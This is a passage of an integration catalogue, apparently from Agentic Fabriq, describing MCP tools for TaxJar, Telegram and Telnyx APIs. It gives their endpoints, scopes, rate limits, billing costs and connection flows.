pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/transactions/orders. Scopes: api. taxjar_get_transactions_orders_by_transaction_id (read) — Show an order transaction via GET /transactions/orders/{transaction_id}. Shows an existing order transaction created through the API. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/transactions/orders/{transaction_id}. Scopes: api. taxjar_get_transactions_refunds (read) — List refund transactions via GET /transactions/refunds. Lists existing refund transactions created through the API. Returns an array of refund transaction IDS, not the refunds themselves. Use `transaction_date` for a single day, or `from_transaction_date` with `to_transaction_date` for a range. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/transactions/refunds. Scopes: api. taxjar_get_transactions_refunds_by_transaction_id (read) — Show a refund transaction via GET /transactions/refunds/{transaction_id}. Shows an existing refund transaction created through the API. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/transactions/refunds/{transaction_id}. Scopes: api. taxjar_post_addresses_validate (read) — Validate a US address via POST /addresses/validate. Validates a customer address and returns back a collection of address matches. US addresses only -- "At this time only US addresses can be validated" -- and `street` may carry the whole address as freeform input. The response is a COLLECTION of matches: zero, one, or several candidate addresses. PLAN-GATED: "Address validation requires a TaxJar Professional or higher subscription." On a lower plan TaxJar refuses the call; that is the account's tier, not the credential. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. POST /api/v1/taxjar/addresses/validate. Scopes: api. taxjar_post_customers (write) — Create an exemption customer via POST /customers. Creates a new customer. `exemption_type` is one of wholesale, government, other or non_exempt, and `exempt_regions` lists the country/state pairs the exemption applies in. `customer_id` is the caller's own identifier for the customer and is what the calculation and transaction tools reference. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. POST /api/v1/taxjar/customers. Scopes: api. taxjar_post_taxes (read) — Calculate sales tax for an order via POST /taxes. Shows the sales tax that should be collected for a given order. This is the calculation endpoint and the one to prefer over the rate lookup: it applies nexus determination, ship-from/ship-to sourcing, shipping taxability, product and customer exemptions and sales tax holidays. Either `amount` or `line_items` is required. `to_zip` is required when `to_country` is "US" and `to_state` when it is "US" or "CA" -- the reference's parameter table marks both plainly required, but its own Notes and TaxJar's client contract make them conditional, so only `to_country` and `shipping` are required here. Either an address on file, `nexus_addresses`, or the `from_*` fields are needed to calculate at all, and supplying `nexus_addresses` OVERRIDES the account's State Settings for this call. Either an address on file (the account's State Settings) or the `from_*` fields are required; TaxJar answers 406 naming the missing field otherwise. COSTS A PLAN TRANSACTION. TaxJar's Billing section: "Each sales tax calculation or rate lookup request made to our API results in a 'transaction'. These transactions will be counted toward your monthly plan limit. Overage fees are charged separately if you exceed your plan limit." This tool is one of exactly two the reference names that way, so calling it in a loop spends the customer's plan. Batch what you can, cache a result while the order has not changed, and use the free summarized-rates tool as a fallback. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. POST /api/v1/taxjar/taxes. Scopes: api. taxjar_post_transactions_orders (write) — Create an order transaction via POST /transactions/orders. Creates a new order transaction. Records an order that has already been calculated and charged; it does NOT calculate anything, and `sales_tax` is the amount actually collected. `transaction_id` should only include alphanumeric characters, underscores and dashes, and `transaction_date` may be a date (2015-05-25), an ISO UTC date/time, or an ISO date/time with a zone offset. Either an address on file (the account's State Settings) or the `from_*` fields are required; TaxJar answers 406 naming the missing field otherwise. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. COSTS A PLAN TRANSACTION, as an IMPORTED ORDER rather than as a calculation. TaxJar counts plan usage under Plans & Billing -> Transaction History, where the count breaks down into "imported orders and calculations"; this tool writes one of those imported records. It is not one of the two the Billing section names as a calculation or rate lookup, so the cost is stated separately rather than folded into that sentence. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. POST /api/v1/taxjar/transactions/orders. Scopes: api. taxjar_post_transactions_refunds (write) — Create a refund transaction via POST /transactions/refunds. Creates a new refund transaction. A refund is bound to the order it refunds by `transaction_reference_id`, which is REQUIRED and must name an existing order transaction. TaxJar recommends passing NEGATIVE values for `amount`, `shipping`, `sales_tax` and line-item money fields when recording a refund. Either an address on file (the account's State Settings) or the `from_*` fields are required; TaxJar answers 406 naming the missing field otherwise. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. COSTS A PLAN TRANSACTION, as an IMPORTED ORDER rather than as a calculation. TaxJar counts plan usage under Plans & Billing -> Transaction History, where the count breaks down into "imported orders and calculations"; this tool writes one of those imported records. It is not one of the two the Billing section names as a calculation or rate lookup, so the cost is stated separately rather than folded into that sentence. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. POST /api/v1/taxjar/transactions/refunds. Scopes: api. taxjar_put_customers_by_customer_id (write) — Update an exemption customer via PUT /customers/{customer_id}. Updates an existing customer created through the API. A FULL REPLACEMENT, not a patch: `exemption_type` and `name` are required on every update, and `exempt_regions` that are omitted are not kept. The id in the path identifies the record. TaxJar's parameter table also lists it as a required field of the update body, and its own client's `Update*Params` type requires it there, so send it in both and keep the two identical. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. PUT /api/v1/taxjar/customers/{customer_id}. Scopes: api. taxjar_put_transactions_orders_by_transaction_id (write) — Update an order transaction via PUT /transactions/orders/{transaction_id}. Updates an existing order transaction created through the API. The id in the path identifies the record. TaxJar's parameter table also lists it as a required field of the update body, and its own client's `Update*Params` type requires it there, so send it in both and keep the two identical. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. Either an address on file (the account's State Settings) or the `from_*` fields are required; TaxJar answers 406 naming the missing field otherwise. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. PUT /api/v1/taxjar/transactions/orders/{transaction_id}. Scopes: api. taxjar_put_transactions_refunds_by_transaction_id (write) — Update a refund transaction via PUT /transactions/refunds/{transaction_id}. Updates an existing refund transaction created through the API. `transaction_reference_id` stays required on an update: it is what binds the refund to its order. The id in the path identifies the record. TaxJar's parameter table also lists it as a required field of the update body, and its own client's `Update*Params` type requires it there, so send it in both and keep the two identical. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. Either an address on file (the account's State Settings) or the `from_*` fields are required; TaxJar answers 406 naming the missing field otherwise. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. PUT /api/v1/taxjar/transactions/refunds/{transaction_id}. Scopes: api. ================================================================================ ## Telegram URL: https://www.agenticfabriq.com/integrations/telegram Section: Integrated Tools Telegram — 22 MCP tools Provider key: telegram. Scopes: delete, read, write. Connect: AF hosted sign-in — your end user signs in to their account on an Agentic Fabriq page (a QR scan, a pairing code, or the provider’s own sign-in form); there is no credential to paste. SAME route as a pasted credential: POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url. Capabilities reports key_connect: true for these, and link_connect: true to tell you which screen the user will see. Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. telegram_delete_chats_by_chat_id (write, destructive) — Delete a chat. DELETE /api/v1/chats/{chat_id}. Delete a chat. Supported for WhatsApp and LinkedIn only. DELETE /api/v1/telegram/api/v1/chats/{chat_id}. Scopes: delete. telegram_delete_messages_by_message_id (write, destructive) — Delete a message. DELETE /api/v1/messages/{message_id}. Delete a message. Supported for WhatsApp and LinkedIn only. For LinkedIn, it is only possible within the first 60 minutes after the message is sent. DELETE /api/v1/telegram/api/v1/messages/{message_id}. Scopes: delete. telegram_get_chat_attendees (read) — List all attendees. GET /api/v1/chat_attendees. Returns a list of messaging attendees. Some optional parameters are available to filter the results. GET /api/v1/telegram/api/v1/chat_attendees. Scopes: read. telegram_get_chat_attendees_by_attendee_id_chats (read) — List all 1to1 chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/chats. Returns a list of chats where a given attendee is involved. GET /api/v1/telegram/api/v1/chat_attendees/{attendee_id}/chats. Scopes: read. telegram_get_chat_attendees_by_attendee_id_sync (read) — Resynchronize chats for a given attendee. GET /api/v1/chat_attendees/{attendee_id}/sync. Starts or monitors the synchronization of all chats for a given attendee. GET /api/v1/telegram/api/v1/chat_attendees/{attendee_id}/sync. Scopes: read. telegram_get_chat_attendees_by_id (read) — Retrieve an attendee. GET /api/v1/chat_attendees/{id}. The id of the wanted attendee. GET /api/v1/telegram/api/v1/chat_attendees/{id}. Scopes: read. telegram_get_chat_attendees_by_id_picture (read) — Download a chat attendee picture. GET /api/v1/chat_attendees/{id}/picture. Download the profile picture of an attendee or picture of a group chat. GET /api/v1/telegram/api/v1/chat_attendees/{id}/picture. Scopes: read. telegram_get_chat_attendees_by_sender_id_messages (read) — List all messages for a given attendee. GET /api/v1/chat_attendees/{sender_id}/messages. Returns a list of messages where a given attendee is involved. GET /api/v1/telegram/api/v1/chat_attendees/{sender_id}/messages. Scopes: read. telegram_get_chats (read) — List all chats. GET /api/v1/chats. Returns a list of chats. Some optional parameters are available to filter the results. GET /api/v1/telegram/api/v1/chats. Scopes: read. telegram_get_chats_by_chat_id (read) — Retrieve a chat. GET /api/v1/chats/{chat_id}. Retrieve the details of a chat. GET /api/v1/telegram/api/v1/chats/{chat_id}. Scopes: read. telegram_get_chats_by_chat_id_attendees (read) — List all attendees from a chat. GET /api/v1/chats/{chat_id}/attendees. Returns a list of messaging attendees related to a given chat. Some optional parameters are available to filter the results. GET /api/v1/telegram/api/v1/chats/{chat_id}/attendees. Scopes: read. telegram_get_chats_by_chat_id_messages (read) — List all messages from a chat. GET /api/v1/chats/{chat_id}/messages. Returns a list of messages related to the given chat. Some parameters are available to filter the results. GET /api/v1/telegram/api/v1/chats/{chat_id}/messages. Scopes: read. telegram_get_chats_by_chat_id_sync (read) — Synchronize a conversation from its beginning. GET /api/v1/chats/{chat_id}/sync. This route can be used both to initiate a synchronization process and to monitor its status via regular polling. GET /api/v1/telegram/api/v1/chats/{chat_id}/sync. Scopes: read. telegram_get_messages (read) — List all messages. GET /api/v1/messages. Returns a list of messages. Some optional parameters are available to filter the results. GET /api/v1/telegram/api/v1/messages. Scopes: read. telegram_get_messages_by_message_id (read) — Retrieve a message. GET /api/v1/messages/{message_id}. Retrieve the details of a message. GET /api/v1/telegram/api/v1/messages/{message_id}. Scopes: read. telegram_get_messages_by_message_id_attachments_by_attachment_id (read) — Retrieve an attachment from a message. GET /api/v1/messages/{message_id}/attachments/{attachment_id}. Retrieve one of the attachment linked to a message. The provider answers this route with the file's raw bytes. This connection has no artifact transport, so the tool returns the file's content type and byte length instead of its contents. GET /api/v1/telegram/api/v1/messages/{message_id}/attachments/{attachment_id}. Scopes: read. telegram_patch_chats_by_chat_id (write) — Perform an action on a given chat. PATCH /api/v1/chats/{chat_id}. Perform an action like changing the read status, muting the chat, retrieving a group invite link, etc. PATCH /api/v1/telegram/api/v1/chats/{chat_id}. Scopes: write. telegram_patch_messages_by_message_id (write) — Edit a message. PATCH /api/v1/messages/{message_id}. Edit a message. Supported for WhatsApp and LinkedIn Classic only. WhatsApp may reject edits after an indicative 15-minute window following the original send time. LinkedIn Classic edits are only possible within the first 60 minutes after the message is sent. PATCH /api/v1/telegram/api/v1/messages/{message_id}. Scopes: write. telegram_post_chats (write, destructive) — Start a new chat. POST /api/v1/chats. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Start a new conversation with one or more attendee. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, linkedin.follow_up.attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/telegram/api/v1/chats. Scopes: write. telegram_post_chats_by_chat_id_messages (write, destructive) — Send a message in a chat. POST /api/v1/chats/{chat_id}/messages. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send a message to the given chat with the possibility to link some attachments. Attachments are not supported on this connection: the messaging provider accepts this operation only as multipart/form-data, and its file properties (attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/telegram/api/v1/chats/{chat_id}/messages. Scopes: write. telegram_post_messages_by_message_id_forward (write, destructive) — Forward a message. POST /api/v1/messages/{message_id}/forward. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Forward a message to a chat. (Whatsapp only) POST /api/v1/telegram/api/v1/messages/{message_id}/forward. Scopes: write. telegram_post_messages_by_message_id_reaction (write, destructive) — Add a reaction to a message. POST /api/v1/messages/{message_id}/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Add a reaction to a message. (Whatsapp, LinkedIn, Telegram, Instagram) POST /api/v1/telegram/api/v1/messages/{message_id}/reaction. Scopes: write. ================================================================================ ## Telnyx URL: https://www.agenticfabriq.com/integrations/telnyx Section: Integrated Tools Telnyx — 1222 MCP tools Provider key: telnyx. Scopes: admin. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. telnyx_delete_10dlc_brand_by_brandid (write, destructive) — Delete Brand. This endpoint is used to delete a brand. Note the brand cannot be deleted if it contains one or more active campaigns, the campaigns need to be inactive and at least 3 months old due to billing purposes. [Brands] via DELETE /10dlc/brand/{brandId} DELETE /api/v1/telnyx/10dlc/brand/{brandId}. Scopes: admin. telnyx_delete_10dlc_campaign_by_campaignid (write, destructive) — Terminate a campaign. Note that once deactivated, a campaign cannot be restored. [Campaign] via DELETE /10dlc/campaign/{campaignId} DELETE /api/v1/telnyx/10dlc/campaign/{campaignId}. Scopes: admin. telnyx_delete_10dlc_phone_number_campaigns_by_phonenumber (write, destructive) — This endpoint allows you to remove a campaign assignment from the supplied phoneNumber. [Phone Number Campaigns] via DELETE /10dlc/phone_number_campaigns/{phoneNumber} DELETE /api/v1/telnyx/10dlc/phone_number_campaigns/{phoneNumber}. Scopes: admin. telnyx_delete_access_ip_address_by_access_ip_address_id (write, destructive) — Delete an access IP address entry from your account. [IP Addresses] via DELETE /access_ip_address/{access_ip_address_id} DELETE /api/v1/telnyx/access_ip_address/{access_ip_address_id}. Scopes: admin. telnyx_delete_access_ip_ranges_by_access_ip_range_id (write, destructive) — Delete an access IP range from your account. [IP Ranges] via DELETE /access_ip_ranges/{access_ip_range_id} DELETE /api/v1/telnyx/access_ip_ranges/{access_ip_range_id}. Scopes: admin. telnyx_delete_addresses_by_id (write, destructive) — Permanently deletes the specified address from your account. [Addresses] via DELETE /addresses/{id} DELETE /api/v1/telnyx/addresses/{id}. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id (write, destructive) — Delete an AI Assistant by assistant_id. [Assistants] via DELETE /ai/assistants/{assistant_id} DELETE /api/v1/telnyx/ai/assistants/{assistant_id}. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id_canary_deploys (write, destructive) — Endpoint to delete a canary deploy configuration for an assistant. Removes all canary deploy configurations for the specified assistant. [Assistants] via DELETE /ai/assistants/{assistant_id}/canary-deploys DELETE /api/v1/telnyx/ai/assistants/{assistant_id}/canary-deploys. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id_scheduled_events_by_event_id (write, destructive) — If the event is pending, this will cancel the event. Otherwise, this will simply remove the record of the event. [Assistants] via DELETE /ai/assistants/{assistant_id}/scheduled_events/{event_id} DELETE /api/v1/telnyx/ai/assistants/{assistant_id}/scheduled_events/{event_id}. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id_tags_by_tag (write, destructive) — Removes the specified tag from the AI assistant and returns the assistant's updated tag list. [Assistants] via DELETE /ai/assistants/{assistant_id}/tags/{tag} DELETE /api/v1/telnyx/ai/assistants/{assistant_id}/tags/{tag}. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id_tools_by_tool_id (write, destructive) — Detaches the specified tool from the AI assistant so the assistant can no longer invoke it. [Assistants] via DELETE /ai/assistants/{assistant_id}/tools/{tool_id} DELETE /api/v1/telnyx/ai/assistants/{assistant_id}/tools/{tool_id}. Scopes: admin. telnyx_delete_ai_assistants_by_assistant_id_versions_by_version_id (write, destructive) — Permanently removes a specific version of an assistant. Can not delete main version [Assistants] via DELETE /ai/assistants/{assistant_id}/versions/{version_id} DELETE /api/v1/telnyx/ai/assistants/{assistant_id}/versions/{version_id}. Scopes: admin. telnyx_delete_ai_assistants_tests_by_test_id (write, destructive) — Permanently removes an assistant test and all associated data [Assistants] via DELETE /ai/assistants/tests/{test_id} DELETE /api/v1/telnyx/ai/assistants/tests/{test_id}. Scopes: admin. telnyx_delete_ai_clusters_by_task_id (write, destructive) — Delete a clustering task and its computed results. [Clusters] via DELETE /ai/clusters/{task_id} DELETE /api/v1/telnyx/ai/clusters/{task_id}. Scopes: admin. telnyx_delete_ai_collections_by_uuid (write, destructive) — Soft-deletes a collection. Its slug is freed and may be reused by a new collection. [AI Collections] via DELETE /ai/collections/{uuid} DELETE /api/v1/telnyx/ai/collections/{uuid}. Scopes: admin. telnyx_delete_ai_collections_by_uuid_sources_by_sourceid (write, destructive) — Removes a single source from a collection. [AI Collections] via DELETE /ai/collections/{uuid}/sources/{sourceId} DELETE /api/v1/telnyx/ai/collections/{uuid}/sources/{sourceId}. Scopes: admin. telnyx_delete_ai_conversations_by_conversation_id (write, destructive) — Delete a specific conversation by its ID. [Conversations] via DELETE /ai/conversations/{conversation_id} DELETE /api/v1/telnyx/ai/conversations/{conversation_id}. Scopes: admin. telnyx_delete_ai_conversations_insight_groups_by_group_id (write, destructive) — Permanently deletes the specified insight template group by its ID. [Conversations] via DELETE /ai/conversations/insight-groups/{group_id} DELETE /api/v1/telnyx/ai/conversations/insight-groups/{group_id}. Scopes: admin. telnyx_delete_ai_conversations_insight_groups_by_group_id_insights_by_insight_id_unassign (write, destructive) — Removes the specified insight template from the specified group. The insight template itself is not deleted. [Conversations] via DELETE /ai/conversations/insight-groups/{group_id}/insights/{insight_id}/unassign DELETE /api/v1/telnyx/ai/conversations/insight-groups/{group_id}/insights/{insight_id}/unassign. Scopes: admin. telnyx_delete_ai_conversations_insights_by_insight_id (write, destructive) — Permanently deletes the specified insight template by its ID. [Conversations] via DELETE /ai/conversations/insights/{insight_id} DELETE /api/v1/telnyx/ai/conversations/insights/{insight_id}. Scopes: admin. telnyx_delete_ai_embeddings_buckets_by_bucket_name (write, destructive) — Deletes an entire bucket's embeddings and disables the bucket for AI-use, returning it to normal storage pricing. [Embeddings] via DELETE /ai/embeddings/buckets/{bucket_name} DELETE /api/v1/telnyx/ai/embeddings/buckets/{bucket_name}. Scopes: admin. telnyx_delete_ai_integrations_connections_by_user_connection_id (write, destructive) — Delete a specific integration connection. [Integrations] via DELETE /ai/integrations/connections/{user_connection_id} DELETE /api/v1/telnyx/ai/integrations/connections/{user_connection_id}. Scopes: admin. telnyx_delete_ai_mcp_servers_by_mcp_server_id (write, destructive) — Permanently deletes the specified MCP server configuration from your account. [MCP Servers] via DELETE /ai/mcp_servers/{mcp_server_id} DELETE /api/v1/telnyx/ai/mcp_servers/{mcp_server_id}. Scopes: admin. telnyx_delete_ai_missions_by_mission_id (write, destructive) — Permanently deletes the specified mission definition and returns no content on success. [Missions] via DELETE /ai/missions/{mission_id} DELETE /api/v1/telnyx/ai/missions/{mission_id}. Scopes: admin. telnyx_delete_ai_missions_by_mission_id_knowledge_bases_by_knowledge_base_id (write, destructive) — Detaches the specified knowledge base from the mission so its content is no longer available to agents in subsequent runs. [Missions] via DELETE /ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id} DELETE /api/v1/telnyx/ai/missions/{mission_id}/knowledge-bases/{knowledge_base_id}. Scopes: admin. telnyx_delete_ai_missions_by_mission_id_mcp_servers_by_mcp_server_id (write, destructive) — Removes the specified MCP server from the mission, revoking agent access to its tools in subsequent runs. [Missions] via DELETE /ai/missions/{mission_id}/mcp-servers/{mcp_server_id} DELETE /api/v1/telnyx/ai/missions/{mission_id}/mcp-servers/{mcp_server_id}. Scopes: admin. telnyx_delete_ai_missions_by_mission_id_runs_by_run_id_telnyx_agents_by_telnyx_agent_id (write, destructive) — Unlinks the specified Telnyx agent from the run so it no longer participates in execution. The run itself and its history are unaffected. [Missions] via DELETE /ai/missions/{mission_id}/runs/{run_id}/telnyx-agents/{telnyx_agent_id} DELETE /api/v1/telnyx/ai/missions/{mission_id}/runs/{run_id}/telnyx-agents/{telnyx_agent_id}. Scopes: admin. telnyx_delete_ai_missions_by_mission_id_tools_by_tool_id (write, destructive) — Removes the specified tool from the mission so agents can no longer invoke it in subsequent runs. [Missions] via DELETE /ai/missions/{mission_id}/tools/{tool_id} DELETE /api/v1/telnyx/ai/missions/{mission_id}/tools/{tool_id}. Scopes: admin. telnyx_delete_ai_tools_by_tool_id (write, destructive) — Permanently deletes the specified custom AI tool from your account. [Assistants] via DELETE /ai/tools/{tool_id} DELETE /api/v1/telnyx/ai/tools/{tool_id}. Scopes: admin. telnyx_delete_alphanumeric_sender_ids_by_id (write, destructive) — Delete an alphanumeric sender ID and disassociate it from its messaging profile. [Messaging] via DELETE /alphanumeric_sender_ids/{id} DELETE /api/v1/telnyx/alphanumeric_sender_ids/{id}. Scopes: admin. telnyx_delete_authentication_providers_by_id (write, destructive) — Deletes an existing authentication provider. [Authentication Providers] via DELETE /authentication_providers/{id} DELETE /api/v1/telnyx/authentication_providers/{id}. Scopes: admin. telnyx_delete_billing_groups_by_id (write, destructive) — Delete a billing group from your account. [Billing Groups] via DELETE /billing_groups/{id} DELETE /api/v1/telnyx/billing_groups/{id}. Scopes: admin. telnyx_delete_bundle_pricing_user_bundles_by_user_bundle_id (write, destructive) — Deactivates the specified user bundle on your account and returns the deactivated bundle. [User Bundles] via DELETE /bundle_pricing/user_bundles/{user_bundle_id} DELETE /api/v1/telnyx/bundle_pricing/user_bundles/{user_bundle_id}. Scopes: admin. telnyx_delete_call_control_applications_by_id (write, destructive) — Permanently deletes the specified call control application and its webhook configuration. [Call Control Applications] via DELETE /call_control_applications/{id} DELETE /api/v1/telnyx/call_control_applications/{id}. Scopes: admin. telnyx_delete_credential_connections_by_id (write, destructive) — Deletes an existing credential connection. [Credential Connections] via DELETE /credential_connections/{id} DELETE /api/v1/telnyx/credential_connections/{id}. Scopes: admin. telnyx_delete_custom_storage_credentials_by_connection_id (write, destructive) — Deletes a stored custom credentials configuration. [Call Recordings] via DELETE /custom_storage_credentials/{connection_id} DELETE /api/v1/telnyx/custom_storage_credentials/{telnyx_connection_id}. Scopes: admin. telnyx_delete_dialogflow_connections_by_connection_id (write, destructive) — Deletes the stored Dialogflow connection for the specified connection. [Dialogflow Integration] via DELETE /dialogflow_connections/{connection_id} DELETE /api/v1/telnyx/dialogflow_connections/{telnyx_connection_id}. Scopes: admin. telnyx_delete_dir_by_dir_id (write, destructive) — Delete a DIR. Failure modes: 400 if a child phone number is in a non-deletable status, 409 if the DIR has an unresolved infringement claim, 404 if the DIR is not yours. [Display Identity Records] via DELETE /dir/{dir_id} DELETE /api/v1/telnyx/dir/{dir_id}. Scopes: admin. telnyx_delete_dir_by_dir_id_phone_numbers (write, destructive) — Deregister phone numbers from a DIR. The enterprise is resolved server-side from the DIR id. Returns a partial-success envelope. [Phone Numbers] via DELETE /dir/{dir_id}/phone_numbers DELETE /api/v1/telnyx/dir/{dir_id}/phone_numbers. Scopes: admin. telnyx_delete_documents_by_id (write, destructive) — Delete a document. A document can only be deleted if it's not linked to a service. If it is linked to a service, it must be unlinked prior to deleting. [Documents] via DELETE /documents/{id} DELETE /api/v1/telnyx/documents/{id}. Scopes: admin. telnyx_delete_dynamic_emergency_addresses_by_id (write, destructive) — Deletes the dynamic emergency address based on the ID provided [Dynamic Emergency Addresses] via DELETE /dynamic_emergency_addresses/{id} DELETE /api/v1/telnyx/dynamic_emergency_addresses/{id}. Scopes: admin. telnyx_delete_dynamic_emergency_endpoints_by_id (write, destructive) — Deletes the dynamic emergency endpoint based on the ID provided [Dynamic Emergency Endpoints] via DELETE /dynamic_emergency_endpoints/{id} DELETE /api/v1/telnyx/dynamic_emergency_endpoints/{id}. Scopes: admin. telnyx_delete_email_blocks_by_id (write, destructive) — 